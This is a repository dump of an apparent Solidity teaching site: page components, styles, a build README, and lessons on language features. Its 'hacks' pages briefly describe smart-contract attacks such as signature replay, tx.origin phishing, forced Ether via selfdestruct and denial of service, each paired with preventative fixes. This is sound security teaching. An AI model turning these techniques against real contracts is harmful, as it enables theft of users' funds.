Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/hacks/denial-of-service/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Denial of Service 3 | version: 0.8.10 4 | description: An example of denial of service hack in Solidity 5 | --- 6 | 7 | ### Vulnerability 8 | 9 | There are many ways to attack a smart contract to make it unusable. 10 | 11 | One exploit we introduce here is denial of service by making the function to send Ether fail. 12 | 13 | ```solidity 14 | {{{DenialOfService}}} 15 | ``` 16 | 17 | ### Preventative Techniques 18 | 19 | One way to prevent this is to allow the users to withdraw their Ether instead of sending it. 20 | 21 | Here is a example. 22 | 23 | ```solidity 24 | {{{PreventDenialOfService}}} 25 | ``` 26 | -------------------------------------------------------------------------------- /src/pages/hacks/denial-of-service/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/hacks/signature-replay/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/view-and-pure-functions/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/defi/chainlink-price-oracle/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/defi/constant-product-amm/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/hacks/accessing-private-data/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/hacks/phishing-with-tx-origin/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/app/bi-directional-payment-channel/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/hacks/block-timestamp-manipulation/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/shadowing-inherited-state-variables/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/app/uni-directional-payment-channel/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/defi/uniswap-v2-add-remove-liquidity/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/shadowing-inherited-state-variables/Shadow.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | contract A { 5 | string public name = "Contract A"; 6 | 7 | function getName() public view returns (string memory) { 8 | return name; 9 | } 10 | } 11 | 12 | // Shadowing is disallowed in Solidity 0.6 13 | // This will not compile 14 | // contract B is A { 15 | // string public name = "Contract B"; 16 | // } 17 | 18 | contract C is A { 19 | // This is the correct way to override inherited state variables. 20 | constructor() { 21 | name = "Contract C"; 22 | } 23 | 24 | // C.getName returns "Contract C" 25 | } 26 | -------------------------------------------------------------------------------- /src/pages/defi/uniswap-v2-optimal-one-sided-supply/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/hacks/hiding-malicious-code-with-external-contract/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import Example from "../../../components/Example" 3 | import html, { version, title, description } from "./index.html" 4 | 5 | interface Path { 6 | path: string 7 | title: string 8 | } 9 | 10 | interface Props { 11 | prev: Path | null 12 | next: Path | null 13 | } 14 | 15 | const ExamplePage: React.FC = ({ prev, next }) => { 16 | return ( 17 | 25 | ) 26 | } 27 | 28 | export default ExamplePage 29 | -------------------------------------------------------------------------------- /src/pages/hacks/self-destruct/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Self Destruct 3 | version: 0.8.10 4 | description: An example of how to delete your smart contract by calling seldestruct in Solidity 5 | --- 6 | 7 | Contracts can be deleted from the blockchain by calling `selfdestruct`. 8 | 9 | `selfdestruct` sends all remaining Ether stored in the contract to a 10 | designated address. 11 | 12 | ### Vulnerability 13 | 14 | A malicious contract can use `selfdestruct` to 15 | force sending Ether to any contract. 16 | 17 | ```solidity 18 | {{{ForceEther}}} 19 | ``` 20 | 21 | ### Preventative Techniques 22 | 23 | Don't rely on `address(this).balance` 24 | 25 | ```solidity 26 | {{{PreventForceEther}}} 27 | ``` 28 | -------------------------------------------------------------------------------- /src/pages/visibility/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Visibility 3 | version: 0.8.10 4 | description: An example of external, internal, private and public functions in Solidity 5 | --- 6 | 7 | Functions and state variables have to declare whether they are accessible by other contracts. 8 | 9 | Functions can be declared as 10 | 11 | - `public` - any contract and account can call 12 | - `private` - only inside the contract that defines the function 13 | - `internal`- only inside contract that inherits an `internal` function 14 | - `external` - only other contracts and accounts can call 15 | 16 | State variables can be declared as `public`, `private`, or `internal` but not `external`. 17 | 18 | ```solidity 19 | {{{Visibility}}} 20 | ``` 21 | -------------------------------------------------------------------------------- /src/pages/app/multi-call/MultiCall.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | contract MultiCall { 5 | function multiCall(address[] calldata targets, bytes[] calldata data) 6 | external 7 | view 8 | returns (bytes[] memory) 9 | { 10 | require(targets.length == data.length, "target length != data length"); 11 | 12 | bytes[] memory results = new bytes[](data.length); 13 | 14 | for (uint i; i < targets.length; i++) { 15 | (bool success, bytes memory result) = targets[i].staticcall(data[i]); 16 | require(success, "call failed"); 17 | results[i] = result; 18 | } 19 | 20 | return results; 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /src/pages/error/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Error 3 | version: 0.8.10 4 | description: Example of how to throw errors in Solidity 5 | --- 6 | 7 | An error will undo all changes made to the state during a transaction. 8 | 9 | You can throw an error by calling `require`, `revert` or `assert`. 10 | 11 | - `require` is used to validate inputs and conditions before execution. 12 | - `revert` is similar to `require`. See the code below for details. 13 | - `assert` is used to check for code that should never be false. Failing 14 | assertion probably means that there is a bug. 15 | 16 | Use custom error to save gas. 17 | 18 | ```solidity 19 | {{{Error}}} 20 | ``` 21 | 22 | Here is another example 23 | 24 | ```solidity 25 | {{{Account}}} 26 | ``` 27 | -------------------------------------------------------------------------------- /src/components/Header.module.css: -------------------------------------------------------------------------------- 1 | .component { 2 | text-align: left; 3 | display: flex; 4 | flex-direction: row; 5 | align-items: center; 6 | } 7 | .component a { 8 | text-decoration: none; 9 | } 10 | .logo { 11 | width: 60px; 12 | } 13 | .light { 14 | width: 30px; 15 | cursor: pointer; 16 | margin: 0 20px 0 20px; 17 | } 18 | .dark { 19 | width: 30px; 20 | cursor: pointer; 21 | margin: 0 20px 0 20px; 22 | } 23 | .header { 24 | margin: 0; 25 | margin-right: auto; 26 | } 27 | .versions { 28 | margin-top: 10px; 29 | display: flex; 30 | flex-direction: row; 31 | align-items: center; 32 | font-weight: 500; 33 | font-size: 1rem; 34 | } 35 | .bar { 36 | margin-left: 5px; 37 | margin-right: 5px; 38 | } 39 | .version { 40 | margin-right: 5px; 41 | } 42 | -------------------------------------------------------------------------------- /src/pages/hacks/overflow/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Arithmetic Overflow and Underflow 3 | version: 0.8.10 4 | description: An example of hacking Solidity with arithmetic overflow / underflow 5 | --- 6 | 7 | ### Vulnerability 8 | 9 | ##### Solidity < 0.8 10 | 11 | Integers in Solidity overflow / underflow without any errors 12 | 13 | ##### Solidity >= 0.8 14 | 15 | Default behaviour of Solidity 0.8 for overflow / underflow is to throw an error. 16 | 17 | ```solidity 18 | {{{Overflow}}} 19 | ``` 20 | 21 | ### Preventative Techniques 22 | 23 | - Use SafeMath to will prevent arithmetic overflow and underflow 24 | 25 | - Solidity 0.8 defaults to throwing an error for overflow / underflow 26 | -------------------------------------------------------------------------------- /src/pages/hacks/self-destruct/PreventForceEther.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | contract EtherGame { 5 | uint public targetAmount = 3 ether; 6 | uint public balance; 7 | address public winner; 8 | 9 | function deposit() public payable { 10 | require(msg.value == 1 ether, "You can only send 1 Ether"); 11 | 12 | balance += msg.value; 13 | require(balance <= targetAmount, "Game is over"); 14 | 15 | if (balance == targetAmount) { 16 | winner = msg.sender; 17 | } 18 | } 19 | 20 | function claimReward() public { 21 | require(msg.sender == winner, "Not winner"); 22 | 23 | (bool sent, ) = msg.sender.call{value: balance}(""); 24 | require(sent, "Failed to send Ether"); 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /src/components/Footer.module.css: -------------------------------------------------------------------------------- 1 | .component { 2 | margin: 15px; 3 | color: var(--color); 4 | display: flex; 5 | flex-direction: column; 6 | align-items: center; 7 | } 8 | .row { 9 | display: flex; 10 | flex-direction: row; 11 | align-items: center; 12 | } 13 | .row .bar { 14 | margin-left: 5px; 15 | margin-right: 5px; 16 | } 17 | .row a, 18 | .row a:visited { 19 | color: var(--link-color); 20 | } 21 | .khan { 22 | margin-left: 10px; 23 | } 24 | .social { 25 | display: flex; 26 | flex-direction: row; 27 | align-items: center; 28 | } 29 | .sce { 30 | width: 30px; 31 | margin: 5px; 32 | border-radius: 4px; 33 | } 34 | .telegram { 35 | width: 30px; 36 | margin: 5px; 37 | } 38 | .discord { 39 | width: 30px; 40 | margin: 5px; 41 | } 42 | .youTube { 43 | width: 30px; 44 | margin: 5px; 45 | } 46 | -------------------------------------------------------------------------------- /src/pages/index.module.css: -------------------------------------------------------------------------------- 1 | .component { 2 | /* set width for auto-margin to be same for 0.5 and 0.6 home page */ 3 | width: 420px; 4 | } 5 | .component ul { 6 | list-style: none; 7 | padding: 0; 8 | } 9 | .updates { 10 | padding: 5px; 11 | padding-left: 15px; 12 | border-radius: 5px; 13 | } 14 | .category { 15 | color: var(--link-color); 16 | } 17 | .listItem { 18 | display: flex; 19 | flex-direction: row; 20 | align-items: center; 21 | margin-top: 10px; 22 | margin-bottom: 10px; 23 | white-space: nowrap; 24 | } 25 | .label { 26 | margin-left: 10px; 27 | } 28 | .header a { 29 | text-decoration: none; 30 | } 31 | .youTube { 32 | display: flex; 33 | flex-direction: row; 34 | align-items: center; 35 | margin: 10px 0 10px 0; 36 | } 37 | .youTubeLogo { 38 | width: 30px; 39 | padding-right: 10px; 40 | } 41 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ### Memo 2 | 3 | ```shell 4 | ## Deploy ## 5 | # md to react 6 | npx ts-node --project ./scripts/tsconfig.json scripts/md-to-react.ts src/pages/array 7 | 8 | # md to react all pages 9 | find src/pages -type d -not -path "*/__snapshots__" -exec npx ts-node --project ./scripts/tsconfig.json scripts/md-to-react.ts {} \; 10 | 11 | # build routes 12 | npx ts-node --project ./scripts/tsconfig.json scripts/build-routes.ts 13 | 14 | # deploy 15 | npm run deploy 16 | 17 | ## Compile Solidity ## 18 | solc-select install 0.8.10 19 | solc-select use 0.8.10 20 | 21 | # compile single file 22 | solc src/pages/hello-world/HelloWorld.sol 23 | 24 | # find and compile sol 25 | find src/pages/hacks -name "*.sol" solc {} \; 26 | 27 | ## Mics ## 28 | # rename files 29 | find . -type f -name "index.test.js" -exec sh -c 'mv "$0" "${0%.test.js}.test.tsx"' {} \; 30 | ``` 31 | -------------------------------------------------------------------------------- /src/pages/hacks/denial-of-service/PreventDenialOfService.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | contract KingOfEther { 5 | address public king; 6 | uint public balance; 7 | mapping(address => uint) public balances; 8 | 9 | function claimThrone() external payable { 10 | require(msg.value > balance, "Need to pay more to become the king"); 11 | 12 | balances[king] += balance; 13 | 14 | balance = msg.value; 15 | king = msg.sender; 16 | } 17 | 18 | function withdraw() public { 19 | require(msg.sender != king, "Current king cannot withdraw"); 20 | 21 | uint amount = balances[msg.sender]; 22 | balances[msg.sender] = 0; 23 | 24 | (bool sent, ) = msg.sender.call{value: amount}(""); 25 | require(sent, "Failed to send Ether"); 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /src/pages/hacks/signature-replay/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Signature Replay 3 | version: 0.8.10 4 | description: An example of a contract vulnerable to signature replay attack 5 | --- 6 | 7 | Signing messages off-chain and having a contract that requires that signature before executing 8 | a function is a useful technique. 9 | 10 | For example this technique is used to: 11 | 12 | - reduce number of transaction on chain 13 | - gas-less transaction, called `meta transaction` 14 | 15 | ### Vulnerability 16 | 17 | Same signature can be used multiple times to execute a function. This can be harmful 18 | if the signer's intention was to approve a transaction once. 19 | 20 | ```solidity 21 | {{{SigReplay}}} 22 | ``` 23 | 24 | ### Preventative Techniques 25 | 26 | Sign messages with `nonce` and address of the contract. 27 | 28 | ```solidity 29 | {{{PreventSigReplay}}} 30 | ``` 31 | -------------------------------------------------------------------------------- /src/pages/function-selector/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Function Selector 3 | version: 0.8.10 4 | description: Example of how function selectors are computed 5 | --- 6 | 7 | When a function is called, the first 4 bytes of `calldata` specifies which function to call. 8 | 9 | This 4 bytes is called a function selector. 10 | 11 | Take for example, this code below. It uses `call` to execute `transfer` on a contract at the address `addr`. 12 | 13 | ```solidity 14 | addr.call(abi.encodeWithSignature("transfer(address,uint256)", 0xSomeAddress, 123)) 15 | ``` 16 | 17 | The first 4 bytes returned from `abi.encodeWithSignature(....)` is the function selector. 18 | 19 | Perhaps you can save a tiny amount of gas if you precompute and inline the function selector in your code? 20 | 21 | Here is how the function selector is computed. 22 | 23 | ```solidity 24 | {{{FunctionSelector}}} 25 | ``` 26 | -------------------------------------------------------------------------------- /src/pages/delegatecall/Delegatecall.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | // NOTE: Deploy this contract first 5 | contract B { 6 | // NOTE: storage layout must be the same as contract A 7 | uint public num; 8 | address public sender; 9 | uint public value; 10 | 11 | function setVars(uint _num) public payable { 12 | num = _num; 13 | sender = msg.sender; 14 | value = msg.value; 15 | } 16 | } 17 | 18 | contract A { 19 | uint public num; 20 | address public sender; 21 | uint public value; 22 | 23 | function setVars(address _contract, uint _num) public payable { 24 | // A's storage is set, B is not modified. 25 | (bool success, bytes memory data) = _contract.delegatecall( 26 | abi.encodeWithSignature("setVars(uint256)", _num) 27 | ); 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /src/pages/app/uni-directional-payment-channel/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Uni-Directional Payment Channel 3 | version: 0.8.10 4 | description: An example of uni-directional payment channels in Solidity 5 | --- 6 | 7 | Payment channels allow participants to repeatedly transfer Ether off chain. 8 | 9 | Here is how this contract is used: 10 | 11 | - `Alice` deploys the contract, funding it with some Ether. 12 | - `Alice` authorizes a payment by signing a message (off chain) and sends the signature to `Bob`. 13 | - `Bob` claims his payment by presenting the signed message to the smart contract. 14 | - If `Bob` does not claim his payment, `Alice` get her Ether back after the contract expires 15 | 16 | This is called a uni-directional payment channel since the payment can go only in a single direction from `Alice` to `Bob`. 17 | 18 | ```solidity 19 | {{{UniDirectionalPaymentChannel}}} 20 | ``` 21 | -------------------------------------------------------------------------------- /src/pages/hacks/hiding-malicious-code-with-external-contract/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Hiding Malicious Code with External Contract 3 | version: 0.8.10 4 | description: An example of exploit where malicious code is hidden in an external contract in Solidity 5 | --- 6 | 7 | ### Vulnerability 8 | 9 | In Solidity any address can be casted into specific contract, 10 | even if the contract at the address is not the one being casted. 11 | 12 | This can be exploited to hide malicious code. Let's see how. 13 | 14 | ```solidity 15 | {{{ExternalContract}}} 16 | ``` 17 | 18 | ### Preventative Techniques 19 | 20 | - Initialize a new contract inside the constructor 21 | - Make the address of external contract `public` so that the code of the 22 | external contract can be reviewed 23 | 24 | ```solidity 25 | Bar public bar; 26 | 27 | constructor() public { 28 | bar = new Bar(); 29 | } 30 | ``` 31 | -------------------------------------------------------------------------------- /src/pages/gas/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Gas 3 | version: 0.8.10 4 | description: Example of gas and gas limit in Solidity 5 | --- 6 | 7 | ### How much `ether` do you need to pay for a transaction? 8 | 9 | You pay `gas spent * gas price` amount of `ether`, where 10 | 11 | - `gas` is a unit of computation 12 | - `gas spent` is the total amount of `gas` used in a transaction 13 | - `gas price` is how much `ether` you are willing to pay per `gas` 14 | 15 | Transactions with higher gas price have higher priority to be included in a block. 16 | 17 | Unspent gas will be refunded. 18 | 19 | ### Gas Limit 20 | 21 | There are 2 upper bounds to the amount of gas you can spend 22 | 23 | - `gas limit` (max amount of gas you're willing to use for your transaction, set by you) 24 | - `block gas limit` (max amount of gas allowed in a block, set by the network) 25 | 26 | ```solidity 27 | {{{Gas}}} 28 | ``` 29 | -------------------------------------------------------------------------------- /src/pages/hacks/delegatecall/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Delegatecall 3 | version: 0.8.10 4 | description: An example of exploits using delegatecall in Solidity 5 | --- 6 | 7 | ### Vulnerability 8 | 9 | `delegatecall` is tricky to use and wrong usage or incorrect understanding 10 | can lead to devastating results. 11 | 12 | You must keep 2 things in mind when using `delegatecall` 13 | 14 | 1. `delegatecall` preserves context (storage, caller, etc...) 15 | 2. storage layout must be the same for the contract calling `delegatecall` and the contract getting called 16 | 17 | ```solidity 18 | {{{Delegatecall_1}}} 19 | ``` 20 | 21 | Here is another example. 22 | 23 | You will need to understand how Solidity stores 24 | state variables before you can understand this exploit. 25 | 26 | ```solidity 27 | {{{Delegatecall_2}}} 28 | ``` 29 | 30 | ### Preventative Techniques 31 | 32 | - Use stateless `Library` 33 | -------------------------------------------------------------------------------- /src/index.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import { hydrate, render } from "react-dom" 3 | import "./index.css" 4 | import { Provider as AppContextProvider } from "./contexts/AppContext" 5 | import App from "./App" 6 | import * as serviceWorker from "./serviceWorker" 7 | 8 | const rootElement = document.getElementById("root") 9 | // @ts-ignore 10 | if (rootElement.hasChildNodes()) { 11 | hydrate( 12 | 13 | 14 | , 15 | rootElement 16 | ) 17 | } else { 18 | render( 19 | 20 | 21 | , 22 | rootElement 23 | ) 24 | } 25 | 26 | // If you want your app to work offline and load faster, you can change 27 | // unregister() to register() below. Note this comes with some pitfalls. 28 | // Learn more about service workers: http://bit.ly/CRA-PWA 29 | serviceWorker.unregister() 30 | -------------------------------------------------------------------------------- /src/pages/hacks/phishing-with-tx-origin/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Phishing with tx.origin 3 | version: 0.8.10 4 | description: An example of phishing with tx.origin in Solidity 5 | --- 6 | 7 | ### What's the difference between `msg.sender` and `tx.origin`? 8 | 9 | If contract A calls B, and B calls C, in C `msg.sender` is B and `tx.origin` is A. 10 | 11 | ### Vulnerability 12 | 13 | A malicious contract can deceive the owner of a contract into calling a 14 | function that only the owner should be able to call. 15 | 16 | ```solidity 17 | {{{TxOrigin}}} 18 | ``` 19 | 20 | ### Preventative Techniques 21 | 22 | Use `msg.sender` instead of `tx.origin` 23 | 24 | ```solidity 25 | function transfer(address payable _to, uint256 _amount) public { 26 | require(msg.sender == owner, "Not owner"); 27 | 28 | (bool sent, ) = _to.call.value(_amount)(""); 29 | require(sent, "Failed to send Ether"); 30 | } 31 | 32 | ``` 33 | -------------------------------------------------------------------------------- /src/pages/abi-decode/AbiDecode.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | contract AbiDecode { 5 | struct MyStruct { 6 | string name; 7 | uint[2] nums; 8 | } 9 | 10 | function encode( 11 | uint x, 12 | address addr, 13 | uint[] calldata arr, 14 | MyStruct calldata myStruct 15 | ) external pure returns (bytes memory) { 16 | return abi.encode(x, addr, arr, myStruct); 17 | } 18 | 19 | function decode(bytes calldata data) 20 | external 21 | pure 22 | returns ( 23 | uint x, 24 | address addr, 25 | uint[] memory arr, 26 | MyStruct memory myStruct 27 | ) 28 | { 29 | // (uint x, address addr, uint[] memory arr, MyStruct myStruct) = ... 30 | (x, addr, arr, myStruct) = abi.decode(data, (uint, address, uint[], MyStruct)); 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /src/pages/app/erc20/IERC20.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | // https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.0.0/contracts/token/ERC20/IERC20.sol 5 | interface IERC20 { 6 | function totalSupply() external view returns (uint); 7 | 8 | function balanceOf(address account) external view returns (uint); 9 | 10 | function transfer(address recipient, uint amount) external returns (bool); 11 | 12 | function allowance(address owner, address spender) external view returns (uint); 13 | 14 | function approve(address spender, uint amount) external returns (bool); 15 | 16 | function transferFrom( 17 | address sender, 18 | address recipient, 19 | uint amount 20 | ) external returns (bool); 21 | 22 | event Transfer(address indexed from, address indexed to, uint value); 23 | event Approval(address indexed owner, address indexed spender, uint value); 24 | } 25 | -------------------------------------------------------------------------------- /src/pages/calling-contract/CallingContract.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | contract Callee { 5 | uint public x; 6 | uint public value; 7 | 8 | function setX(uint _x) public returns (uint) { 9 | x = _x; 10 | return x; 11 | } 12 | 13 | function setXandSendEther(uint _x) public payable returns (uint, uint) { 14 | x = _x; 15 | value = msg.value; 16 | 17 | return (x, value); 18 | } 19 | } 20 | 21 | contract Caller { 22 | function setX(Callee _callee, uint _x) public { 23 | uint x = _callee.setX(_x); 24 | } 25 | 26 | function setXFromAddress(address _addr, uint _x) public { 27 | Callee callee = Callee(_addr); 28 | callee.setX(_x); 29 | } 30 | 31 | function setXandSendEther(Callee _callee, uint _x) public payable { 32 | (uint x, uint value) = _callee.setXandSendEther{value: msg.value}(_x); 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /src/pages/fallback/Fallback.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | contract Fallback { 5 | event Log(uint gas); 6 | 7 | // Fallback function must be declared as external. 8 | fallback() external payable { 9 | // send / transfer (forwards 2300 gas to this fallback function) 10 | // call (forwards all of the gas) 11 | emit Log(gasleft()); 12 | } 13 | 14 | // Helper function to check the balance of this contract 15 | function getBalance() public view returns (uint) { 16 | return address(this).balance; 17 | } 18 | } 19 | 20 | contract SendToFallback { 21 | function transferToFallback(address payable _to) public payable { 22 | _to.transfer(msg.value); 23 | } 24 | 25 | function callFallback(address payable _to) public payable { 26 | (bool sent, ) = _to.call{value: msg.value}(""); 27 | require(sent, "Failed to send Ether"); 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /src/pages/hello-world/index.html.ts: -------------------------------------------------------------------------------- 1 | // metadata 2 | export const version = "0.8.10" 3 | export const title = "Hello World" 4 | export const description = "Hello world in Solidity" 5 | 6 | const html = `

pragma specifies the compiler version of Solidity.

7 |
// SPDX-License-Identifier: MIT
 8 | // compiler version must be greater than or equal to 0.8.10 and less than 0.9.0
 9 | pragma solidity ^0.8.10;
10 | 
11 | contract HelloWorld {
12 |     string public greet = "Hello World!";
13 | }
14 | 
15 | ` 16 | 17 | export default html 18 | -------------------------------------------------------------------------------- /src/pages/array/ArrayReplaceFromEnd.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | contract ArrayReplaceFromEnd { 5 | uint[] public arr; 6 | 7 | // Deleting an element creates a gap in the array. 8 | // One trick to keep the array compact is to 9 | // move the last element into the place to delete. 10 | function remove(uint index) public { 11 | // Move the last element into the place to delete 12 | arr[index] = arr[arr.length - 1]; 13 | // Remove the last element 14 | arr.pop(); 15 | } 16 | 17 | function test() public { 18 | arr = [1, 2, 3, 4]; 19 | 20 | remove(1); 21 | // [1, 4, 3] 22 | assert(arr.length == 3); 23 | assert(arr[0] == 1); 24 | assert(arr[1] == 4); 25 | assert(arr[2] == 3); 26 | 27 | remove(2); 28 | // [1, 4] 29 | assert(arr.length == 2); 30 | assert(arr[0] == 1); 31 | assert(arr[1] == 4); 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /src/pages/error/Account.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | contract Account { 5 | uint public balance; 6 | uint public constant MAX_UINT = 2**256 - 1; 7 | 8 | function deposit(uint _amount) public { 9 | uint oldBalance = balance; 10 | uint newBalance = balance + _amount; 11 | 12 | // balance + _amount does not overflow if balance + _amount >= balance 13 | require(newBalance >= oldBalance, "Overflow"); 14 | 15 | balance = 